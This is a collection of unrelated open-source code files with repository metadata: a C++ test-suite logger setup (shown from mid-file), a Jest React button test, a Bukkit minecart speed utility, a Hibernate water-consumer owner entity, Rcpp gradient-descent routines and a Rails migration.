log4cpp::LayoutAppender(name) {} void close() {} // Do nothing protected: void _append(const log4cpp::LoggingEvent & e) { std::ostringstream oss; oss << boost::this_thread::get_id() << ": " << _getLayout().format(e); BOOST_TEST_MESSAGE(oss.str()); } }; bool init_unit_test_suite() { // Clear all log priorities, root defaults to WARN std::vector<Category *> * cats = Category::getCurrentCategories(); for (std::vector<Category *>::iterator it = cats->begin(); it != cats->end(); it++) (*it)->setPriority((*it)->getName() == std::string("") ? Priority::WARN : Priority::NOTSET); delete cats; // Load log config file boost::filesystem::ifstream logconf(boost::filesystem::path("share/test/LibStarsTest.logconf")); std::string line; if (getline(logconf, line).good()) { Logger::initLog(line); } // Test log priority is always DEBUG Category::getInstance("Test").setPriority(DEBUG); TestAppender * console = new TestAppender("ConsoleAppender"); log4cpp::PatternLayout * layout = new log4cpp::PatternLayout(); layout->setConversionPattern("%p %c : %m"); console->setLayout(layout); Category::getRoot().setAdditivity(false); Category::getRoot().addAppender(console); SignalException::Handler::getInstance().setHandler(); return true; } int main(int argc, char * argv[]) { return boost::unit_test::unit_test_main(init_unit_test_suite, argc, argv); }
jcelaya/stars
src/test/TestSuite.cpp
C++
gpl-3.0
4,080
/** @jsx React.DOM */ jest.dontMock('./../jsx/jestable/DeleteButton.js'); describe('DeleteButton', function() { it('creates a button that deletes keyword from the keyword list', function() { var React = require('react/addons'); var DeleteButton = require('./../jsx/jestable/DeleteButton.js'); var Ids = require('./../jsx/jestable/Ids.js'); var TestUtils = React.addons.TestUtils; var mockDelete = jest.genMockFn(); // Render a delete button in the document var deleteBtn = TestUtils.renderIntoDocument( <DeleteButton handleDelete={ mockDelete } itemText={ "itemText" } idNumber={0}/> ); // Verify that it has the correct id and class attributes var btn = TestUtils.findRenderedDOMComponentWithTag(deleteBtn, 'img'); expect(btn.getDOMNode().id).toEqual(Ids.extension + "-keyword-" + 0); expect(btn.getDOMNode().className).toEqual(Ids.extension + "-ui-clickable"); // Simulate a click and verify that it calls delete function TestUtils.Simulate.click(btn); expect(mockDelete.mock.calls.length).toBe(1); }); });
Reynslan/moggo
components/__tests__/DeleteButton-test.js
JavaScript
gpl-3.0
1,154
/* * This file is part of MinecartRevolution-Core. * Copyright (c) 2012 QuarterCode <http://www.quartercode.com/> * * MinecartRevolution-Core is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * MinecartRevolution-Core is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with MinecartRevolution-Core. If not, see <http://www.gnu.org/licenses/>. */ package com.quartercode.minecartrevolution.core.util.cart; import org.bukkit.Bukkit; import org.bukkit.Location; import org.bukkit.entity.Minecart; import org.bukkit.event.vehicle.VehicleDestroyEvent; import org.bukkit.util.Vector; import com.quartercode.minecartrevolution.core.util.Direction; public class MinecartUtil { public static double getSpeed(Minecart minecart) { Vector velocity = minecart.getVelocity(); if (velocity.getX() > 0) { return velocity.getX(); } else if (velocity.getX() < 0) { return -velocity.getX(); } else if (velocity.getZ() > 0) { return velocity.getZ(); } else if (velocity.getZ() < 0) { return -velocity.getZ(); } else { return 0; } } public static void setSpeed(Minecart minecart, double speed) { Vector velocity = minecart.getVelocity(); if (velocity.getX() > 0) { velocity.setX(speed); } else if (velocity.getX() < 0) { velocity.setX(-speed); } else if (velocity.getZ() > 0) { velocity.setZ(speed); } else if (velocity.getZ() < 0) { velocity.setZ(-speed); } minecart.setVelocity(velocity); } public static void addSpeed(Minecart minecart, double speed) { setSpeed(minecart, getSpeed(minecart) + speed); } public static void subtractSpeed(Minecart minecart, double speed) { addSpeed(minecart, -speed); } public static void multiplySpeed(Minecart minecart, double factor) { Vector velocity = minecart.getVelocity(); velocity.setX(velocity.getX() * factor); velocity.setZ(velocity.getZ() * factor); minecart.setVelocity(velocity); } public static void divideSpeed(Minecart minecart, double factor) { Vector velocity = minecart.getVelocity(); velocity.setX(velocity.getX() / factor); velocity.setZ(velocity.getZ() / factor); minecart.setVelocity(velocity); } public static void driveInDirection(Minecart minecart, Direction direction) { Vector velocity = minecart.getVelocity(); double speed = 0.3913788423600029; if (direction == Direction.SOUTH) { Location newLocation = minecart.getLocation(); newLocation.setZ(minecart.getLocation().getZ() - 1.0D); minecart.teleport(newLocation); velocity.setZ(-speed); } else if (direction == Direction.WEST) { Location newLocation = minecart.getLocation(); newLocation.setX(minecart.getLocation().getX() + 1.0D); minecart.teleport(newLocation); velocity.setX(speed); } else if (direction == Direction.NORTH) { Location newLocation = minecart.getLocation(); newLocation.setZ(minecart.getLocation().getZ() + 1.0D); minecart.teleport(newLocation); velocity.setZ(speed); } else if (direction == Direction.EAST) { Location newLocation = minecart.getLocation(); newLocation.setX(minecart.getLocation().getX() - 1.0D); minecart.teleport(newLocation); velocity.setX(-speed); } minecart.setVelocity(velocity); } public static boolean remove(Minecart minecart) { VehicleDestroyEvent event = new VehicleDestroyEvent(minecart, null); Bukkit.getPluginManager().callEvent(event); if (!event.isCancelled()) { minecart.remove(); } return event.isCancelled(); } private MinecartUtil() { } }
QuarterCode/MinecartRevolution
core/src/main/java/com/quartercode/minecartrevolution/core/util/cart/MinecartUtil.java
Java
gpl-3.0
4,595
package com.abm.mainet.water.domain; import java.util.Date; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.FetchType; import javax.persistence.GeneratedValue; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; import org.hibernate.annotations.GenericGenerator; /** * @author deepika.pimpale * */ @Entity @Table(name = "TB_WT_CSMR_ADDITIONAL_OWNER") public class AdditionalOwnerInfo { @Id @GenericGenerator(name = "MyCustomGenerator", strategy = "com.abm.mainet.common.utility.SequenceIdGenerator") @GeneratedValue(generator = "MyCustomGenerator") @Column(name = "CAO_ID", precision = 12, scale = 0, nullable = false) private Long cao_id; @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "CS_IDN", nullable = false) private TbKCsmrInfoMH csIdn; @Column(name = "CAO_TITLE", length = 15, nullable = false) private String ownerTitle; @Column(name = "CAO_FNAME", length = 300, nullable = false) private String ownerFirstName; @Column(name = "CAO_MNAME", length = 300, nullable = true) private String ownerMiddleName; @Column(name = "CAO_LNAME", length = 300, nullable = true) private String ownerLastName; @Column(name = "CAO_ADDRESS", length = 1000, nullable = true) private String cao_address; @Column(name = "CAO_CONTACTNO", length = 50, nullable = true) private String cao_contactno; @Column(name = "CAO_NEW_TITLE", length = 10, nullable = false) private Long caoNewTitle; @Column(name = "CAO_NEW_FNAME", length = 300, nullable = false) private String caoNewFName; @Column(name = "CAO_NEW_MNAME", length = 300, nullable = true) private String caoNewMName; @Column(name = "CAO_NEW_LNAME", length = 300, nullable = true) private String caoNewLName; @Column(name = "CAO_NEW_ADDRESS", length = 1000, nullable = true) private String caoNewAddress; @Column(name = "CAO_NEW_CONTACTNO", length = 50, nullable = true) private String caoNewContactno; @Column(name = "CAO_NEW_GENDER", length = 10, nullable = true) private Long caoNewGender; @Column(name = "CAO_NEW_UID", length = 12, nullable = true) private Long caoNewUID; @Column(name = "APM_APPLICATION_ID", length = 16, nullable = true) private Long apmApplicationId; @Column(name = "ORGID", precision = 4, scale = 0, nullable = false) // comments : Organization id private Long orgid; @Column(name = "USER_ID", precision = 7, scale = 0, nullable = true) // comments : User id private Long userId; @Column(name = "LANG_ID", precision = 7, scale = 0, nullable = true) // comments : Language id private Long langId; @Column(name = "LMODDATE", nullable = true) // comments : Last Modification Date private Date lmoddate; @Column(name = "UPDATED_BY", precision = 7, scale = 0, nullable = true) // comments : User id who update the data private Long updatedBy; @Column(name = "UPDATED_DATE", nullable = true) // comments : Date on which data is going to update private Date updatedDate; @Column(name = "LG_IP_MAC", length = 100, nullable = true) // comments : stores ip information private String lgIpMac; @Column(name = "LG_IP_MAC_UPD", length = 100, nullable = true) // comments : stores ip information private String lgIpMacUpd; @Column(name = "CAO_GENDER", nullable = true) // comments : stores ip information private Long gender; @Column(name = "CAO_UID", length = 12, nullable = true) // comments : stores ip information private Long caoUID; @Column(name = "IS_DELETED", length = 1, nullable = true) private String isDeleted; public String[] getPkValues() { return new String[] { "WT", "TB_WT_CSMR_ADDITIONAL_OWNER", "CAO_ID" }; } public Long getCao_id() { return cao_id; } public void setCao_id(final Long cao_id) { this.cao_id = cao_id; } public String getCao_address() { return cao_address; } public void setCao_address(final String cao_address) { this.cao_address = cao_address; } public String getCao_contactno() { return cao_contactno; } public void setCao_contactno(final String cao_contactno) { this.cao_contactno = cao_contactno; } public Long getOrgid() { return orgid; } public void setOrgid(final Long orgid) { this.orgid = orgid; } public Long getUserId() { return userId; } public void setUserId(final Long userId) { this.userId = userId; } public Long getLangId() { return langId; } public void setLangId(final Long langId) { this.langId = langId; } public Date getLmoddate() { return lmoddate; } public void setLmoddate(final Date lmoddate) { this.lmoddate = lmoddate; } public Long getUpdatedBy() { return updatedBy; } public void setUpdatedBy(final Long updatedBy) { this.updatedBy = updatedBy; } public Date getUpdatedDate() { return updatedDate; } public void setUpdatedDate(final Date updatedDate) { this.updatedDate = updatedDate; } public String getLgIpMac() { return lgIpMac; } public void setLgIpMac(final String lgIpMac) { this.lgIpMac = lgIpMac; } public String getLgIpMacUpd() { return lgIpMacUpd; } public void setLgIpMacUpd(final String lgIpMacUpd) { this.lgIpMacUpd = lgIpMacUpd; } public TbKCsmrInfoMH getCsIdn() { return csIdn; } public void setCsIdn(final TbKCsmrInfoMH csIdn) { this.csIdn = csIdn; } public String getOwnerTitle() { return ownerTitle; } public void setOwnerTitle(final String ownerTitle) { this.ownerTitle = ownerTitle; } public String getOwnerFirstName() { return ownerFirstName; } public void setOwnerFirstName(final String ownerFirstName) { this.ownerFirstName = ownerFirstName; } public Long getCaoUID() { return caoUID; } public void setCaoUID(final Long caoUID) { this.caoUID = caoUID; } public Long getGender() { return gender; } public void setGender(final Long gender) { this.gender = gender; } public String getOwnerMiddleName() { return ownerMiddleName; } public void setOwnerMiddleName(final String ownerMiddleName) { this.ownerMiddleName = ownerMiddleName; } public String getOwnerLastName() { return ownerLastName; } public void setOwnerLastName(final String ownerLastName) { this.ownerLastName = ownerLastName; } public Long getCaoNewTitle() { return caoNewTitle; } public void setCaoNewTitle(final Long caoNewTitle) { this.caoNewTitle = caoNewTitle; } public String getCaoNewFName() { return caoNewFName; } public void setCaoNewFName(final String caoNewFName) { this.caoNewFName = caoNewFName; } public String getCaoNewMName() { return caoNewMName; } public void setCaoNewMName(final String caoNewMName) { this.caoNewMName = caoNewMName; } public String getCaoNewLName() { return caoNewLName; } public void setCaoNewLName(final String caoNewLName) { this.caoNewLName = caoNewLName; } public String getCaoNewAddress() { return caoNewAddress; } public void setCaoNewAddress(final String caoNewAddress) { this.caoNewAddress = caoNewAddress; } public String getCaoNewContactno() { return caoNewContactno; } public void setCaoNewContactno(final String caoNewContactno) { this.caoNewContactno = caoNewContactno; } public Long getCaoNewGender() { return caoNewGender; } public void setCaoNewGender(final Long caoNewGender) { this.caoNewGender = caoNewGender; } public Long getCaoNewUID() { return caoNewUID; } public void setCaoNewUID(final Long caoNewUID) { this.caoNewUID = caoNewUID; } public Long getApmApplicationId() { return apmApplicationId; } public void setApmApplicationId(final Long apmApplicationId) { this.apmApplicationId = apmApplicationId; } /** * @return the isDeleted */ public String getIsDeleted() { return isDeleted; } /** * @param isDeleted the isDeleted to set */ public void setIsDeleted(final String isDeleted) { this.isDeleted = isDeleted; } }
abmindiarepomanager/ABMOpenMainet
Mainet1.1/MainetServiceParent/MainetServiceWater/src/main/java/com/abm/mainet/water/domain/AdditionalOwnerInfo.java
Java
gpl-3.0
9,175
// This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. #include <RcppArmadillo.h> // do not include Rcpp.h! #include <RcppEigen.h> // [[Rcpp::depends(RcppArmadillo)]] // [[Rcpp::depends(RcppEigen)]] using namespace Rcpp; using namespace arma; using namespace Eigen; // [[Rcpp::export]] Rcpp::List GD_Cpp_eigen(NumericVector &YR, NumericMatrix &XR, NumericMatrix &thetaR, double alpha = 1, int max_iterations = 1000) { const Map<MatrixXd> X(as<Map<MatrixXd> >(XR)); Map<MatrixXd> theta(as<Map<MatrixXd> >(thetaR)); const Map<VectorXd> Y(as<Map<VectorXd> >(YR)); int nrows = X.rows(), kcols = X.cols(); double oldCost = ((X * theta - Y).array().pow(2).sum() * 0.5 / nrows); MatrixXd error; MatrixXd delta = MatrixXd::Ones(kcols, 1); double trialCost; MatrixXd trialTheta = theta - alpha * delta; double max_delta = delta.array().abs().maxCoeff(); int iteration = 0; while (max_delta > 1e-5) { error = X * theta - Y; delta = X.transpose() * error / nrows; max_delta = delta.array().abs().maxCoeff(); trialTheta = theta - alpha * delta; trialCost = ((X * trialTheta - Y).array().pow(2).sum() * 0.5 / nrows); while ((trialCost >= oldCost)) { trialTheta = (theta + trialTheta) * 0.5; trialCost = ((X * trialTheta - Y).array().pow(2).sum() * 0.5 / nrows); } oldCost = trialCost; theta = trialTheta; iteration = iteration + 1; if (iteration == max_iterations) break; } return Rcpp::List::create(Rcpp::Named("Cost") = oldCost, Rcpp::Named("theta") = theta); } // [[Rcpp::export]] Rcpp::List GD_Cpp_arma(const colvec &Y, const mat &X, mat &theta, double alpha = 1, int max_iterations = 1000) { int nrows = X.n_rows, kcols = X.n_cols; mat delta; delta.ones(kcols); double oldCost = sum(pow(X * theta - Y, 2)) * 0.5 / nrows; mat max_matrix = max(abs(delta)); mat error(nrows, kcols); mat trialTheta(kcols, 1) ; double trialCost; int iteration = 0; while (max_matrix(0, 0) > 1e-5) { error = X * theta - Y; delta = X.t() * error / nrows; max_matrix = max(abs(delta)); trialTheta = theta - alpha * delta; trialCost = sum(pow(X * trialTheta - Y, 2)) * 0.5 / nrows; while (trialCost >= oldCost) { trialTheta = (theta + trialTheta) * 0.5; trialCost = sum(pow(X * trialTheta - Y, 2)) * 0.5 / nrows; } oldCost = trialCost; theta = trialTheta; iteration = iteration + 1; if (iteration == max_iterations) break; } return Rcpp::List::create(Rcpp::Named("Cost") = oldCost, Rcpp::Named("theta") = theta); }
costis-t/smallProjects
SR_TMOI_GradientDescent/Gradient_Descent_Challenge.cpp
C++
gpl-3.0
3,125
class AddExplicitExpirationToUnavailableFors < ActiveRecord::Migration[6.0] def change add_column :unavailable_as_candidate_fors, :expires_at, :datetime, index: true end end
greenriver/boston-cas
db/migrate/20200312133258_add_explicit_expiration_to_unavailable_fors.rb
Ruby
gpl-3.0
182